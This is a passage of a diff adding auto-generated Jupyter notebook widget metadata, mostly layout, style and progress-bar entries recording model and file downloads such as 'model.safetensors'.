+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dd66e37aec9449de944edfa6dacdfc5f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dd81ef8c35384eadb1572400c775f789": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dd9945400a2c413589af32550427f92d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dddba90edf87434aa404eea38eaa63f2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_32bb55abea4f4ea2a7ea8a28a45eeb16",
+            "placeholder": "​",
+            "style": "IPY_MODEL_90d2a57096964b7a9e2aef14ec54e2a7",
+            "value": " 1.06M/1.06M [00:00&lt;00:00, 5.14MB/s]"
+          }
+        },
+        "dde9a4c3dd824b6f8345b29f2a28ef5f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_6da0c63935ac4ee4bfe6a6efbedfa93d",
+              "IPY_MODEL_42109c92a03c45cabd7fbb0cc7cf1c4a",
+              "IPY_MODEL_db6ac9519e6a438ebca23446b0f2a4aa"
+            ],
+            "layout": "IPY_MODEL_8adb835bb80941dfa3e21c9dac93d793"
+          }
+        },
+        "de80e8cbbd25433c88267a1f997772e7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "df65632706474b4d903b8f6f72438166": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_99836b0d3c5241f99260cd642081c31f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_99c6d5162b2d41b6b3d260f4b2c99b9b",
+            "value": " 308/308 [00:00&lt;00:00, 7.38kB/s]"
+          }
+        },
+        "dffc9bcfd178487e93b34f91eae3b8e8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6ea8901001af4f2aa0039b18f5e758a4",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ecc46cbc78fe4d9f8af50970839d3891",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "e060cf453034447dba6af95a918e3092": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e11151541738459ba16b582a9edefd2c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b74532a8bd8e49f2a8286a1eed72a0d3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_dd66e37aec9449de944edfa6dacdfc5f",
+            "value": " 9.88k/9.88k [00:00&lt;00:00, 186kB/s]"
+          }
+        },
+        "e116ebfa368d424ca64eea23a82ef959": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e16487cbe8d74b5baad0d41dbdeeedbb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e1877e0c82a1464597250ef0572d2679": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e19591097be54f3d954a75bf14968b46": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f92c9532d4644693831a67344d499ff5",
+              "IPY_MODEL_a283d06ba73a4fc98e18e7080e794edf",
+              "IPY_MODEL_5837463f803c4c93b91a21d9854ae574"
+            ],
+            "layout": "IPY_MODEL_ca5bf86a004a45a6ae2067fdc6eef091"
+          }
+        },
+        "e20f4ef3c100484cae5ba0a570be604c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e2eaf1b78df545feb426d75ec556f8a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e38139b6898e4897b67aac89ee982c7a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e39e7bf535fb4492ae9ac75591e79287": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e3b2deb57c0644dcbf97297abf22f91c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e404d2f75cdc4a9397c82bca53ca3fad": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e4394ac60eef460e8f37fac24327ab77": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_51b27a7dc0d34dd09b1ea17aba1fb697",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2a8c5504fb034f608567f8d706389d79",
+            "value": " 13/13 [00:23&lt;00:00,  2.51s/it]"
+          }
+        },
+        "e43b78d4e4844565ad39e979861285a8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0e38cf52fb3d40d5a87ec975499ef648",
+            "max": 8756,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a37c136cb6c34c1ea5a66bd78c5750ae",
+            "value": 8756
+          }
+        },
+        "e503940faf1e47bb911a62c6e5f33fa0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e57b840c4d3c4abcae1b69b189701c72": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e59d5e76445943c39cdb32721727d3e8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e69330feb37747c5b22d4dd215f934bd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cb4c90617e8e4ef08052ade1d2694589",
+            "placeholder": "​",
+            "style": "IPY_MODEL_6ca7d8cb9ad2472bad727eba7c993816",
+            "value": " 541/541 [00:00&lt;00:00, 9.29kB/s]"
+          }
+        },
+        "e7a84d718566443bba6c79729de0518a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_81b870c0f0b6482a9f1dbd3fac0d935c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ff464c023f0546209b15c44a39b4b75e",
+            "value": "Downloading model.safetensors: 100%"
+          }
+        },
+        "e7ddc52526db41e4907a2ede8dcef7c7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e8cbb2d5adae4b439639631ea833be72": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e90005c8a5664c6f80e37268666f1a9f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e9ef39e82cf645e396daea04a1e178f1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_02f92b3266a54cc1885140f1a378d784",
+            "max": 153718792,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_d504edae2a2f4beb851928ca770b2701",
+            "value": 153718792
+          }
+        },
+        "ea6ed2a4fd9c49579f25b2f0e9af3f3c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3cdb72138ffe4261a6cfcd9bcf4776c4",
+            "max": 743,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3bdc5d0f6e324afaae6d5a4aabff98d2",
+            "value": 743
+          }
+        },
+        "ea8e9b50f98c43b58d7faccbfd6821cb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "eb5ef899d10b442ca8bd3ec6c1fbf1f3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b6f79be711a94896ba08b0af7293cd04",
+              "IPY_MODEL_f2ec0ba35adb4084b2ef73e4d384f6fd",
+              "IPY_MODEL_5b6fcc006e8b47c4a416e38991201a42"
+            ],
+            "layout": "IPY_MODEL_635b3c726b5049818d8384ad992e2550"
+          }
+        },
+        "eb72384f0e50444d9db03c12aca4b899": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "eba07e4598814b6cb22ba58d16587cf3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ab44913ac7c44a0f89a963fddf9dba39",
+            "max": 920,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c9678e8106544428a9f155e2da9f2693",
+            "value": 920
+          }
+        },
+        "ebe0534f9b4c4f92ae488a8d3e5867d6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e7a84d718566443bba6c79729de0518a",
